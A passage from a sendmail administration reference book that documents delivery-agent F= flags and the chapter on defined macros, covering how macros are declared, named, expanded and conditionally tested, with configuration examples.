Note that these forms of address transformations are discouraged by RFC1123. For this reason the F=p flag is deprecated and may be removed from future versions of sendmail.

30.8.35 F=P

Need Return-Path: in header

(All versions)

The F=P flag is used by sendmail.cf header commands to force the inclusion of return-path information:

H?P?Return-Path: <$g>

The F=P flag has no special internal meaning to sendmail. It is a convention that is used only in the assorted Return-Path: header (see Section 35.10.28, Return-Path:) definitions. See Section 30.4.5 for a general description of this process.

The sender's envelope address (the address that would be used to return mail if it were bounced, for example) is placed into $g for use in the Return-Path: header line. This is usually done during final delivery, although it can also be done for delivery agents that lack a clear envelope address. The form of the address in the $g macro (see Section 31.10.16) depends on the setting of the F=p flag. Note that this is normally the same as the address in the five character "From " line.

30.8.36 F=q

250 versus 252 return for SMTP VRFY

(8.8 and above)

Prior to RFC1123 a successful reply to the SMTP VRFY command was always prefixed with a 250, meaning that sending to this address was likely to result in successful delivery:

VRFY user
250 user@here.us.edu (Full Name)

Here, sendmail states (with the 250) that it interpreted the address as valid locally and that delivery or relaying to another site would be attempted.

RFC1123 now requires that shades of meaning be conveyed in that success code, so the correct prefix should be 252, which means that we will accept the address and attempt to relay it elsewhere.

If the F=q flag is set, sendmail returns the 250 prefix; otherwise, it returns the 252 prefix. It should be set only for delivery agents doing local delivery. For configuration files earlier than version 7, the F=q flag is automatically set for the local, prog, and *file* delivery agents.

30.8.37 F=r

Delivery agent adds -r to argv

(All versions)

If sendmail is run with a -f command-line argument, and if the F=r flag is specified, the A= for this delivery agent has the two additional arguments, -r and $g, inserted between its argv[0] and argv[1]. Consider a case in which sendmail is run as

/usr/lib/sendmail -f jim bill

If bill is a local user and the delivery agent for local is defined as

Mlocal, P=/bin/mail, F=rlsDFMmnP, S=10, R=20, A=mail -d $u

then the r in F=rlsDFmnP will cause the A= of

A=mail -d $u

to be rewritten as

A=mail -r $g -d $u

The $g is jim from the original command line (but rewritten to be a return address relative to the recipient). The original -f argument jim is first rewritten by rule sets 3, 1, and 4. The result of those rewrites is placed into $f (see Section 31.10.14, $f). The $f macro is rewritten by rule sets 3, 1, S=, and 4, and the result is placed into $g (see Section 31.10.16).

Note that the F=f and the F=r flags are very similar and easily confused.

30.8.38 F=R

Use a reserved TCP port

(V8.6 and above)

The F=R flag causes sendmail to connect on a reserved (privileged) TCP port for additional security. Privileged Internet ports are those in the range 0 to 1023. Only root is allowed to connect to such ports. The sendmail program calls rresvport(3) to obtain a socket on its selected port. Note that this is done only when instantiating an outgoing connection. See Section 30.4.1.2, "$h and other arguments in A=[IPC]" for another way to set the outgoing port number.

This flag is suitable only for use with the [IPC] and [TCP] delivery agents. Note that sendmail is usually suid root when run as a daemon.

30.8.39 F=s

Strip quotation marks

(All versions)

Some delivery agents don't correctly understand quotation marks in addresses, for example,

"dechost::user"@relay

For delivery agents that do not correctly understand them, the F=s flag causes sendmail to strip all quotation marks from the address before handing it to the delivery agent:

dechost::user@relay

The local delivery agent should always have the F=s flag specified. The prog delivery agent commonly has the F=s flag specified. The uucp delivery agent may or may not require that flag depending on the specifics of the program specified in the P= equate. The [IPC] and [TCP] delivery agents should never specify the F=s flag.

30.8.40 F=S

Assume specified uid and gid

(Revised for V8.7)

There are two major ways in which sendmail can be run: as an suid root process (that is, with the permissions of root no matter who runs it) or as an ordinary process run by an ordinary (nonprivileged) user (that is, with root privilege only if it is run by root). When sendmail is running with root privilege and when the F=S flag is specified for a delivery agent, sendmail always invokes that delivery agent as the effective user and effective group specified by the U= equate. [22] If the U= equate is unspecified or is specified as zero, it runs as root. In both instances, the real GID and UID remain that of the receiving user -that is, the F=S flag acts like the UNIX suid and sgid bits.

[22] Prior to V8.7 there was no U= equate, so F=S always ran as root.

If the F=S is not specified for the delivery agent, sendmail first checks to see whether there is a controlling user for the address. If there is one, sendmail becomes that user for delivery. If delivery is to a file and if the suid bit is set for that file, sendmail becomes the owner of the file. Similarly, if delivery is to a file and the sgid bit is set, sendmail sets its group identity to the group of the file. Finally, if the user or group part of the U= equate was missing or 0, sendmail assumes the identity of the DefaultUser (u) option (see Section 34.8.15). Otherwise, it assumes the identity of the U= equate.

30.8.41 F=u

Preserve uppercase for username

(All versions)

The username portion of the recipient's address is ordinarily converted to lowercase before being tucked into $u. The $u is usually used with the A= equate of a delivery agent:

Mprog,  P=/bin/sh,   F=lsDFMeuP,  S=10, R=20, A=sh -c $u

Some delivery agents, such as the prog agent, execute programs. They require that the program (user) name be left as is (otherwise, the program name would not be found). Specifying the F=u flag tells sendmail to not convert that name to lowercase.

Beginning with V8.7 sendmail, the F=u flag also determines how some aliases are treated. If it is set, usernames are stored in the aliases database without conversion to lowercase. If it is clear, they are converted to lowercase.

Also if the F=u flag is set, looking up the owner part that follows the owner- in a mailing list is done in a case-sensitive manner. If the F=u flag is clear, the owner is converted to lowercase before being looked up.

In general, the F=u flag should be set in all delivery agent declarations, except the local delivery agent.

30.8.42 F=U

Use UUCP-Style From line

(All versions)

The F=U flag causes sendmail to prepend a five-character "From " line to the start of the headers if there is not already one there. Whether one was prepended or not, this flag also tells sendmail to add the words remote from host to the end of that line and also requires that $g be in the form host!....

The F=U flag is required when a neighbor UUCP site runs an old (or possibly SysV) version of the rmail program. The newer BSD versions of rmail do not require this flag.

30.8.43 F=w

Check for /etc/passwd entry

(V8.7 and above)

The sendmail program uses the passwd(5) file to determine whether a local address corresponds to a local account. If it does, the home directory for the user is copied into $z (see Section 31.10.46). Then the full name of the user is extracted from the gecos field of the passwd(5) file and placed into $x (see Section 31.10.42, $x).

Beginning with V8.7 sendmail, the information in the passwd(5) file is looked up only if the F=w flag is set for the recipient's delivery agent. In general, it must be present (set) for the local and any local-clone delivery agents but should be absent for all other delivery agents. For configuration files less than 6 (see Section 27.5), the F=w flag is automatically set for the local delivery agent.

Omitting the F=w flag has several consequences:

  • The recipient's home directory is not looked up, and all user-level forwarding is prevented. Note that this voids all forwarding, even if the user's home is defined as part of the ForwardPath (J) option (see Section 34.8.27, ForwardPath (J)).

  • The user's full name is not looked up in the gecos field of the passwd(5) file.

  • The uid and gid of the recipient become unavailable, so the identity of the controlling user cannot be set to that of the recipient.

Note that this flag should be considered mandatory for local and local clones. If you want to cancel forwarding, use the ForwardPath (J) option. Attempting to cancel forwarding by omitting the F=w flag can have unpredictable side effects that may cause mail to fail.

30.8.44 F=x

Need Full-Name: in header

(All versions)

The F=x flag is used by sendmail.cf header commands to force the inclusion of the user's full name (see Section 30.4.5):

H?x?Full-Name: $x

The F=x flag has no special internal meaning to sendmail. It is a convention that is used only in the assorted Full-Name: header (see Section 35.10.15, Full-Name:) definitions. See Section 30.4.5 for a general description of this process.

30.8.45 F=X

Need RFC821 hidden dot

(All versions)

Delivery agents that speak SMTP require that any line of the message that begins with a dot have that dot doubled. Delivery agents speak SMTP when the $u is missing from the A= equate. For example,

Mether, P=[TCP], F=msDFMuCX, S=11, R=21, A=TCP $h

An example of a file that contains leading dots is a troff(1) source file:

.\" Show example
.Ps
Mether, P=[TCP], F=msDFMuCX, S=11, R=21, A=TCP $h
.Ps

In the above, three lines begin with a leading dot. The F=X flag causes sendmail to transmit the above message as

..\" Show example
..Ps
Mether, P=[TCP], F=msDFMuCX, S=11, R=21, A=TCP $h
..Pe

The extra leading dot is automatically restored to a single dot at the receiving end.

This F=X flag should be used only with delivery agents that speak SMTP. It should not be used with other delivery agents, because they will not know to strip the extra dots.

Previous: 30.7 Pitfalls | sendmail | Next: 31. Defined Macros
30.7 Pitfalls | Book Index | 31. Defined Macros


[Chapter 31] Defined Macros

sendmailSearch this book
Previous: 30.8 Alphabetized F= Flags Chapter 31 Next: 31.2 Command-Line Definitions

31. Defined Macros

Contents:
Preassigned Macros
Command-Line Definitions
Configuration File Definitions
Macro Names
Macro Expansion: $ and $&
Macro Conditionals: $?, $|, and $.
Categories of Macros
Macros with the m4 Technique
Pitfalls
Alphabetized Reference

The sendmail program supports three kinds of macros. Class macros (Chapter 32, Class Macros) are used to represent multiple values. Database macros (Chapter 33, Database Macros) represent values stored in external files or networked maps. In this chapter we discuss defined macros, which allow strings of text to be represented symbolically.

Defined macros can be declared (given names and assigned the strings of text that will become values) at four different times:

  1. When sendmail first begins to run, it preassigns strings of text to certain macros.

  2. When sendmail processes the options in its command line, macros that were declared by using the -M (see Section 31.2, "Command-Line Definitions") command-line switch [1] are assigned their values.

    [1] Prior to V8.7 the -oM option (see Section 34.8.77, (M)) was used to define macros on the command line. Although that option still works, the -M command-line switch is now recommended as the preferred technique.

  3. When sendmail reads its configuration file, macros that were declared by using the D configuration-file command (see Section 31.3, "Configuration File Definitions") are assigned their values.

  4. Finally, many macros are assigned values internally by sendmail as mail is received and sent.

Macros can be used in any configuration-file command. Generally, they are expanded (their value is used) when mail is sent or received.

31.1 Preassigned Macros

When sendmail first begins to run, it preassigns values to certain macros. The complete list of these macros is shown in Table 31.1. Each is described in detail at the end of this chapter in Section 31.10, "Alphabetized Reference".

Table 31.1: Preassigned Macros
Macro |  | Description
$_ | Section 31.10.1, $- | RFC1413-validation and IP source route (V8.1 and above)
$b | Section 31.10.3, $b | The current date in RFC822 format
${bodytype} | Section 31.10.4, ${bodytype} | The ESMTP BODY parameter (V8.8 and above)
${client_addr} | Section 31.10.7, ${client-addr} | The connecting host's IP address (V8.8 and above)
${client_name} | Section 31.10.8, ${client-name} | The connecting host's canonical name (V8.8 and above)
${envid} | Section 31.10.12, ${envid} | The original DSN envelope ID (V8.8 and above)
$j | Section 31.10.20, $j | The canonical hostname
$k | Section 31.10.21, $k | UUCP node name (V8.1 and above)
$m | Section 31.10.24, $m | The domain name (V8.1 and above)
$n | Section 31.10.26, $n | The bounced mail sender
${opMode} | Section 31.10.28, ${opMode} | The startup operating mode (V8.7 and above)
$v | Section 31.10.38, $v | The sendmail program's version
$w | Section 31.10.40, $w | The short name of this host

All preassigned macros can be redefined in the configuration file or in the command line. The -d35.9 (see Section 37.5.120, -d35.9) debugging switch (when run on an empty configuration file) can be used to watch sendmail predefine its macros. [2]

[2] When you use this debugging switch, you will notice that operators such as $* are implemented as macros too.

Note that the m4 configuration technique uses many more macros than are shown here (see Table 31.5). But even with that technique this short list of macros is all that are internally defined by the sendmail program when it first starts up.

Previous: 30.8 Alphabetized F= Flags | sendmail | Next: 31.2 Command-Line Definitions
30.8 Alphabetized F= Flags | Book Index | 31.2 Command-Line Definitions


[Chapter 31] 31.2 Command-Line Definitions

sendmailSearch this book
Previous: 31.1 Preassigned Macros Chapter 31
Defined Macros 		Next: 31.3 Configuration File Definitions

31.2 Command-Line Definitions

Macros may also be declared when sendmail processes its command line, by using either the -M command-line switch or the M option (see Section 34.8.77). The forms for these command-line declarations are

-oMXtext                  <-  no longer recommended
-MXtext                   <-  preferred as of V8.7

For both forms, the X is the macro name, which can be single-character or multicharacter (we discuss this soon). The text follows the name and is the value assigned to the macro.

In the first form, the -o switch tells sendmail that this is an option. The M is the name of the option. The M option causes sendmail to use the characters that follow the M as a macro definition. This form still works but may be eliminated in a future version of sendmail.

In the second form, the -M command line switch causes sendmail to use the characters that follow the M as a macro definition. Beginning with V8.7 sendmail, this is now the preferred form.

Because these forms of definition are a part of the command line, all special characters are interpreted by the shell. Any text that contains shell wildcard or history characters should be quoted. (We'll cover this in detail soon.)

Command-line macros are defined before the configuration file is read and parsed by sendmail. Note that configuration-file macros always override command-line macros. [3] Despite this, command-line definitions may still be useful. Preassigned macros may be given new values, and user-defined macros may be initialized in the command line.

[3] If you are running a pre-V8 version of sendmail, it may use a freeze file. In that case, command-line macros override those in the configuration file.

For security reasons, only the r and s macros [4] allow sendmail to retain its root privilege. Overriding the value of any other macro from the command line causes sendmail to run as an ordinary user.

[4] For V8 sendmail, r and s should be set with the -p command-line switch (see Section 36.7.32, -p).

31.2.1 Syntax of the Command-Line Macro's Text

When a macro is declared on the command line, its text value is taken from the command line as is:

-MXtext
-oMXtext

Unlike macros declared in the configuration file (which we describe next), this form of declaration does not strip commas from text nor does it handle escape characters.

The whole suite of special operators available to your shell may be used to generate an appropriate text value. For example, the following assigns the name of your Usenet news server to the macro N:

-MN$NNTPSERVER

The $NNTPSERVER is the shell's environmental variable that contains the address of the news server as its value.

Previous: 31.1 Preassigned Macros | sendmail | Next: 31.3 Configuration File Definitions
31.1 Preassigned Macros | Book Index | 31.3 Configuration File Definitions


[Chapter 31] 31.3 Configuration File Definitions

sendmailSearch this book
Previous: 31.2 Command-Line Definitions Chapter 31
Defined Macros 		Next: 31.4 Macro Names

31.3 Configuration File Definitions

When sendmail reads the configuration file, macros that are declared in that file are assigned values. The configuration-file command that declares macros begins with the letter D. There may only be a single macro command per line. The form of the D macro configuration command is:

DXtext

The symbolic name of the macro (here, X) is a single-character or a multicharacter name (see Section 31.4, "Macro Names"):

DXtext               <-  single-character name X
D{XXX}text           <-  multicharacter name XXX

This must immediately follow the D with no intervening space. The value that is given to the macro is the text, consisting of all characters beginning with the first character following the name and including all characters up to the end of the line. Any indented lines that follow the definition are joined to that definition. When joined, the newline and indentation characters are retained. Consider the following three configuration lines:

DXsometext
        moretext
        moretext

    tabs

These are read and joined by sendmail to form the following text value for the macro named X:

sometext\n\tmoretext\n\tmoretext

The notation \n represents a newline character, and the notation \t represents a tab character.

If text is missing, the value assigned to the macro is that of an empty string; that is, a single byte that has a value of zero.

If both the name and the text are missing, the following error is printed, and that D configuration line is ignored: [5]

[5] Prior to V8 sendmail, a macro whose name was missing was given arbitrary garbage as a value. This caused the sendmail program to crash.

Name required for macro/class

31.3.1 Required Macros (V8.6 and earlier)

Table 31.2 shows the macro names that must (prior to V8.6) be given values in the configuration file.

Table 31.2: Required Macros
Macro |  | Description | As of V8.7
$e | Section 34.8.65, SmtpGreetingMessage or $e | The SMTP greeting message | The SmtpGreetingMessage option
$ja | Section 31.10.20 | Official canonical hostname | Automatically defined all V8
$l | Section 34.8.72, UnixFromLine or $l | UNIX From format | The UnixFromLine option
$n | Section 31.10.26 | Name used for error messages | Automatically defined
$o | Section 34.8.45, OperatorChars or $o | Delimiter operator characters | The OperatorChars option
$q | Section 31.10.30, $q | Format of the sender's address | No longer used

Each of these macros is described at the end of this chapter in Section 31.10. Prior to V8.7, failure to define a required macro could have resulted in unpredictable problems. Beginning with V8.7 sendmail, no macros are required. Some are predefined [6] for you by sendmail, and others have become options.

[6] But you still may need to declare an occasional macro in your configuration file to solve unusual problems.

31.3.2 Syntax of the Configuration File Macro's Text

The text of a macro's value in the configuration file may contain escaped control codes. Control codes are embedded by using a backslash escape notation. The backslash escape notations understood by sendmail are listed in Table 31.3.

Table 31.3: Special Characters Allowed in Macro Text
Notation | Placed in Text
\b | Backspace character
\f | Formfeed character
\n | Newline character
\r | Carriage-return character
\\ | Backslash character

All other escaped characters are taken as is. For example, the notation \X becomes a X, whereas the notation \b is converted to a backspace character (usually a CTRL-H). For example,

DXO\bc May\, 1996    becomes   ->   O^Hc May, 1996

Here, the \b is translated into a backspace (^H) character, and the \, is translated into a lone comma character.

Note that prior to V8.8, the first comma and all characters following it were stripped from the text unless the comma was quoted or escaped. For example,

DXMay, 1996    becomes   ->   May

Beginning with V8.8 sendmail, the comma is no longer special in defined macros.

Quoted text will have the quotation marks stripped. Only double quotation marks are recognized. Multiple parts of text may be quoted, or text may be quoted entirely.

Trailing spaces are automatically stripped. If you need to keep trailing spaces you need to quote them:

DX"1996 "

Leading space characters are retained in text whether they are quoted or not. Spaces are harmless provided that the macro is used only in rules (because spaces are token separators); but if the macro is used to define other macros, problems can arise. For example,

Dw ourhost
DH nlm.nih.gov
Dj $w.$H

Here, the text of the $w and $H macros is used to define the $j macro. The $j macro is used in the HELO SMTP command and in the Message-ID: header line. The value given to $j by the above is

   ourhost. nlm.nih.gov

 two        a space
 spaces

Here, the value of $j should contain a correctly formed, fully qualified domain name. The unwanted spaces cause it to become incorrectly formed, which can cause mail to fail.

Previous: 31.2 Command-Line Definitions | sendmail | Next: 31.4 Macro Names
31.2 Command-Line Definitions | Book Index | 31.4 Macro Names


[Chapter 31] 31.4 Macro Names

sendmailSearch this book
Previous: 31.3 Configuration File Definitions Chapter 31
Defined Macros 		Next: 31.5 Macro Expansion: $ and $&

31.4 Macro Names

Prior to V8.7 sendmail, macros could only have single characters as names. Beginning with V8.7, macros may be single- or multicharacter.

31.4.1 Single-Character Names

Prior to V8.7 sendmail the name of a macro was required to be a single character. Beginning with V8.7, the name of a macro may optionally be a single character. Any character may be used. However, sendmail uses many characters internally and requires that they serve specific purposes. In general, only uppercase letters should be employed as user-defined macro names. Arbitrary use of other characters can lead to unexpected results.

The character that is the macro's name must be a single-byte character. Multibyte international characters have only the first byte (or last, depending on the machine architecture) used for the macro's name, and what remains is joined to the text.

The high (most significant) bit of the character is always cleared (set to zero) by sendmail.

31.4.2 Multicharacter Names

Beginning with V8.7, macro names may be multicharacter. A multicharacter macro name must always appear inside a curly brace pair. [7] .SP_reset For example,

[7] As an artifact of this scheme, a single character surrounded in curly braces is treated as if the curly braces were absent:

DXtext              <-  a single character name
D{X}text            <-  the same beginning with V8.7

D{name}text

Here, name is one or more characters that form the macro name. If there are no characters between the curly braces, sendmail prints the following error and names the macro "{}":

Name required for macro/class

A multicharacter macro name may contain only letters, digits, and the underscore character. Each bad character between the curly braces (including spaces) will produce the following error and cause that character to be ignored:

Invalid macro/class character

In general, your macro names should always begin with an uppercase character. Macro names that begin with lowercase characters are reserved for the internal use of sendmail.

If the left curly brace is missing but the right is present, the macro name becomes the first letter following the D and the rest becomes the text:

Dname}text         ->  becomes   ->   n  ame}text

If the right curly brace is missing but the left is present, the following error is printed, and the macro is not defined

Unbalanced { on nametext

The maximum length of a macro name is hard-coded at 20 characters and cannot be changed with compile-time definitions. If you declare a macro name that (not counting the curly braces) is longer than 20 characters, the following error will be printed and the excess characters will become the value of an undefined name.

Macro/class name ({VeryLongMacroNameHere}) too long (20 chars max)

Because of the way multicharacter names are encoded into a single byte, there is a fixed limit on the number of multicharacter macro names that you may declare. That limit includes those multicharacter names internally defined by sendmail, [8] and those declared for class macros. There may be at most 96 multicharacter macro names. If you try to declare a 97th name, the following error will print and that definition will be ignored:

[8] One for V8.7 and many for V8.8.

Macro/class {name}: too many long names

Previous: 31.3 Configuration File Definitions | sendmail | Next: 31.5 Macro Expansion: $ and $&
31.3 Configuration File Definitions | Book Index | 31.5 Macro Expansion: $ and $&


[Chapter 31] 31.5 Macro Expansion: $ and $&

sendmailSearch this book
Previous: 31.4 Macro Names Chapter 31
Defined Macros 		Next: 31.6 Macro Conditionals: $?, $|, and $.

31.5 Macro Expansion: $ and $&

The value of a macro can be used by putting a $ character in front of the macro's name. For example, consider the following definition:

DXtext

Here, the macro named X is given text as its value.

If you later prefix a macro name with a $ character, you may use that value. This is called expanding a macro:

$X

Here, the expression $X tells sendmail to use the value stored in X (the text) rather than its name (X).

For multicharacter names, the process is the same, but the name is surrounded with curly braces:

D{Xxx}text          <-  declare {Xxx}
${Xxx}              <-  use {Xxx}

31.5.1 Macro Expansion Is Recursive

When text contains other macros, those other macros are also expanded. This process is recursive and continues until all macros have been expanded. For example, consider the following:

DAxxx
DByyy
DC$A.$B
DD$C.zzz

Here, the text for the macro D is $C.zzz. When the expression $D appears in a line in the configuration file, it is recursively expanded like this:

$D              ->  becomes   ->   $C.zzz
$C.zzz          ->  becomes   ->   $A.$B.zzz
$A.$B.zzz       ->  becomes   ->   xxx.$B.zzz
xxx.$B.zzz      ->  becomes   ->   xxx.yyy.zzz

Notice that when sendmail recursively expands a macro, it does so one macro at a time, always expanding the leftmost macro.

In rules, when sendmail expands a macro, it also tokenizes it. For example, placing the above $D in the following rule's LHS:

R$+@$D      $1

causes the LHS to contain seven tokens, rather than three:

R$+@xxx.yyy.zzz       $1

31.5.2 When Is a Macro Expanded?

A macro can either be expanded immediately or at runtime, depending on where the expansion takes place in the configuration file.

Macros are expanded in rule sets as the configuration file is read and parsed by sendmail, and (beginning with V8.7) so are macros in rule-set names (see Section 29.1.4, "Macros in Rule-Set Names") and in maps declared with the K configuration command (see Section 33.3, "The K Configuration Command"). In other configuration lines, expansion is deferred until sendmail actually needs to use that value. In yet others, macros are neither recognized nor expanded.

To illustrate, macros used in header commands are not be expanded until the headers of a mail message are processed:

H?x?Full-Name: $x

Here, $x (see Section 31.10.42, $x) may change as sendmail is running. It contains as its value the full name of the sender. Clearly, this macro should not be expanded until that full name is known.

On the other hand, macros in rules are always expanded when the configuration file is read. Therefore macros like $x should never be used in rules, because the configuration file is read long before mail is processed:

R$x	($x)

Rules like this won't work because $x lacks a value when the configuration file is read. This rule will be expanded to become meaningless:

R      ()

Note that the $digit positional operator (see Section 28.6.1, "Copy by Position: $digit") in the RHS may not be used to reference defined macros in the LHS. Consider this example, in which {HOST} has the value myhost:

R${HOST}     <$1>

The ${HOST} is expanded when the configuration file is read and is transformed into:

Rmyhost   <$1>     <-  error

Here, the $1 has no wildcard operator in the LHS to reference and so will produce this error:

replacement $1 out of bounds

31.5.3 Use Value as Is with $&

For those situations in which a macro should not be recursively expanded, but rather should be used in rules as is, V8 sendmail offers the $& prefix. For example, consider the following RHS of a rule:

R...     $w.$&m

When sendmail encounters this RHS in the configuration file, it recursively expands $w into its final text value (where that text value is your hostname, such as lady). But because the m macro is prefixed with $&, it is not expanded.

This could be useful, because it appears to offer a way to delay expansion of macros in rules until after the configuration file is read. Unfortunately such is not always the case, because the expanded text returned by the $& prefix is always a single token. That is, because the above is tokenized before each token is evaluated, it appears in the workspace as

lady . $m

Here, the $m will expand to its current value, say, our.domain, but that expansion will remain a single token:

lady . our.domain

When tokens are compared during rule-set processing, they are compared token by token. Consequently, the single token above will not match the individual tokens of a real address, as shown on the left:

our      does not match our.domain
.        does not match our.domain
domain   does not match our.domain

The $& prefix is intended to provide a way to access macros that are given values after the configuration file is read. Therefore the failure of $& to recursively expand is the result of an implementation designed to meet the limited goal of accessing those runtime macros. (See Section 33.8.4, dequote for ways to use the dequote database class to circumvent this restriction.)

To illustrate one application of $&, consider the client/hub setup described in the tutorial. In that setup, all mail sent from a client machine is forwarded to the hub for eventual delivery. If the client were to run a sendmail daemon to receive mail for local delivery, a mail loop could (in the absence of an MX record) develop where a message would bounce back and forth between the client and the hub, eventually failing.

To break such a loop, a rule must be devised that recognizes that a received message is from the hub:

R$+              $: $&r @ $&s <$1>       Get protocol and host
Rsmtp @ $H <$+>  $#local $: $1           Local delivery breaks a loop
R$* <$+>         $#smtp  $@ $H $: $2     Punt to hub

These rules appear in rule set 0. By the time they are reached, other rules have forwarded any nonlocal mail to the hub. What is left in the workspace is a lone username. The first rule above matches the workspace and rewrites it to be the sending protocol ($&r; see Section 31.10.31, $r), an @, the sending host ($&s, see Section 31.10.33, $s), and the username in angle brackets:

user      ->  becomes   ->     smtp@hub<user>

The second rule checks to make sure the message was received with the SMTP protocol from the hub. If it was, then the local delivery agent is used to deliver the message on the local machine. If it was received from any other host or by any other protocol, the second rule fails and the third forwards the lone user address to the hub.

Previous: 31.4 Macro Names | sendmail | Next: 31.6 Macro Conditionals: $?, $|, and $.
31.4 Macro Names | Book Index | 31.6 Macro Conditionals: $?, $|, and $.


[Chapter 31] 31.6 Macro Conditionals: $?, $|, and $.

sendmailSearch this book
Previous: 31.5 Macro Expansion: $ and $& Chapter 31
Defined Macros 		Next: 31.7 Categories of Macros

31.6 Macro Conditionals: $?, $|, and $.

Occasionally, it is necessary to test a macro to see whether a value has been assigned to it. To perform such a test, a special prefix and two operators are used. The general form is

  if       else       endif
    -v           -v           -v
$?x text1 $| text2 $.

if x is defined   if x is not defined

This expression yields one of two possible values: text1 if the macro named x has a value, text2 if it doesn't. The entire above expression, starting with the $? and ending with the $., yields a single value, which may contain multiple tokens.

The following, for example, includes the configuration-file version in the SMTP greeting message but does so only if that version (in $v; see Section 31.10.38) is defined:

O SmtpGreetingMessage=$j Sendmail ($v/$?Z$Z$|generic$.) ready at $b

                                                note

Here the parenthetical version information is expressed one way if Z has a value (like 1.4):

($v/$Z)

but is expressed differently if Z lacks a value:

($v/generic)

The else part ($|) of this conditional expression is optional. If it is omitted, the result is the same as if the text2 were omitted:

$?xtext1$|$.
$?xtext1$.

Both of the preceding yield the same result. If x has a value, then text1 becomes the value of the entire expression. If x lacks a value, then the entire expression lacks a value (produces no tokens).

Note that it is not advisable to use the $? conditional expression in rules. It may not have the intended effect, because macro conditionals are expanded when the configuration file is read.

31.6.1 Conditionals May Nest

V8 sendmail allows conditionals to nest. To illustrate, consider the following expression:

$?x $?y both $| xonly $. $| $?y yonly $| none $. $.

This is just like the example in the previous section:

$?x text1 $| text2 $.

except that text1 and text2 are both conditionals:

text1 = $?y both $| xonly $.
text2 = $?y yonly $| none $.

The grouping when conditionals nest is from the outside in. In the following example, parentheses have been inserted to show the groupings (they are not a part of either expression):

($?x (text1) $| (text2) $.)
($?x ($?y both $| xonly $.) $| ($?y yonly $| none $.) $.)

Interpretation is from left to right. The logic of the second line above is therefore this: If both $x and $y have values, the result is both. If $x has a value but $y lacks one, the result is xonly. If $x lacks a value but $y has one, the result is yonly. And if both lack values, the result is none.

The sendmail program does not enforce or check for balance in nested conditionals. Each $? should have a corresponding $. to balance it. If they do not balance, sendmail will not detect the problem. Instead, it may interpret the expression in a way that you did not intend.

The depth to which conditionals may be nested is limited only by our ability to easily comprehend the result. More than two deep is not recommended, and more than three deep is vigorously discouraged.

Previous: 31.5 Macro Expansion: $ and $& | sendmail | Next: 31.7 Categories of Macros
31.5 Macro Expansion: $ and $& | Book Index | 31.7 Categories of Macros


[Chapter 31] 31.7 Categories of Macros

sendmailSearch this book
Previous: 31.6 Macro Conditionals: $?, $|, and $. Chapter 31
Defined Macros 		Next: 31.8 Macros with the m4 Technique

31.7 Categories of Macros

At the end of this chapter we list all the macros in alphabetical order for easy lookup and explain each in detail. Here, we present them grouped by application with only a brief description.

31.7.1 Macros and the System Identity

The nature of email addresses requires that sendmail have a firm understanding of the machine on which it is running. The -d0.4 debugging switch (see Section 37.5.2, -d0.4) causes sendmail to print its understanding of what the local machine is. A portion of that output displays the value of four key macros:

============ SYSTEM IDENTITY (after readcf) ============
      (short domain name) $w = here
  (canonical domain name) $j = here.our.domain
         (subdomain name) $m = our.domain
              (node name) $k = here
========================================================

The short domain name (in $w; see Section 31.10.40) is simply the name of the local host without any domain information added as a suffix. The canonical domain name (in $j; see Section 31.10.20) is the fully qualified and official name of the local machine. The subdomain name (in $m; see Section 31.10.24) is just the domain part of the canonical name without a leading dot. And the node name (in $k; see Section 31.10.21) is the UUCP name of the local machine.

In addition to these macros, sendmail initializes the class $=w with a list of alternative names for the local host (see Section 32.5.8, $=w) and class $=m with a list of the local domains (see Section 32.5.3, $=m).

31.7.2 Macros and the Date

The concept of time can take on different meanings depending on whether we are talking about the sender, the recipient, the remote machine, or the local machine. To keep different times separate, sendmail employs an assortment of macros, as shown in Table 31.4.

Table 31.4: Macros That Store Dates
Macro |  | Description
$a | Section 31.10.2, $a | The origin date in RFC822 format
$b | Section 31.10.3 | The current date in RFC822 format
$d | Section 31.10.10, $d | The current date in UNIX ctime(3) format
$t | Section 31.10.35, $t | Current time in seconds

Previous: 31.6 Macro Conditionals: $?, $|, and $. | sendmail | Next: 31.8 Macros with the m4 Technique
31.6 Macro Conditionals: $?, $|, and $. | Book Index | 31.8 Macros with the m4 Technique


[Chapter 31] 31.8 Macros with the m4 Technique

sendmailSearch this book
Previous: 31.7 Categories of Macros Chapter 31
Defined Macros 		Next: 31.9 Pitfalls

31.8 Macros with the m4 Technique

The various features of the m4 technique use uppercase single-character macro names. The complete list of them is shown in Table 31.5. Some of these are defined by using the appropriate define m4 command (see below). Others are predefined for you by the m4 technique. See the appropriate section reference for a full description of how to use each macro.

Table 31.5: Macros Reserved with the m4 Technique
Macro |  | Description
$B | Section 31.10.5, $B | The BITNET relay
$C | Section 31.10.9, $C | The hostname of the DECnet relay
$E | Section 31.10.13, $E | X.400 relay (unused)
$F | Section 31.10.15, $F | FAX relay
$H | Section 31.10.18, $H | The mail hub
$L | Section 31.10.23, $L | Unknown Local User relay
$M | Section 31.10.25, $M | Who we are masquerading as
$R | Section 31.10.32, $R | The relay for unqualified names (deprecated)
$S | Section 31.10.34, $S | The Smart Host
$U | Section 31.10.37, $U | The UUCP name to override $k
$V | Section 31.10.39, $V | The UUCP relay (for class $=V)
$W | Section 31.10.41, $W | The UUCP relay (for class $=W)
$X | Section 31.10.43, $X | The UUCP relay (for class $=X)
$Y | Section 31.10.45, $Y | The UUCP relay for unclassified hosts
$Z | Section 31.10.47, $Z | The version of this m4 configuration

A few m4 macros can be defined by using the m4 define command. For example, here is how you define the BITNET relay with the BITNET_RELAY keyword:

define(`BITNET_RELAY', `host.domain')dnl

See Table 31.6 for a list of those m4 macros that can be defined. The leftmost column in that table shows the keyword to use.

Table 31.6: Macros Declared with Special m4 Names
m4 name | Macro |  | Description
BITNET_RELAY | $B | Section 31.10.5 | The BITNET relay
confCF_VERSION | $Z | Section 31.10.47 | The version of this m4 configuration
confDOMAIN_NAME | $j | Section 31.10.20 | Official canonical name
confMAILER_NAME | $n | Section 31.10.26 | Error message sender
FAX_RELAY | $F | Section 31.10.15 | FAX relay
LUSER_RELAY | $L | Section 31.10.23 | Local user relay
MAIL_HUB | $H | Section 31.10.18 | The mail hub

Previous: 31.7 Categories of Macros | sendmail | Next: 31.9 Pitfalls
31.7 Categories of Macros | Book Index | 31.9 Pitfalls


[Chapter 31] 31.9 Pitfalls

sendmailSearch this book
Previous: 31.8 Macros with the m4 Technique Chapter 31
Defined Macros 		Next: 31.10 Alphabetized Reference

31.9 Pitfalls

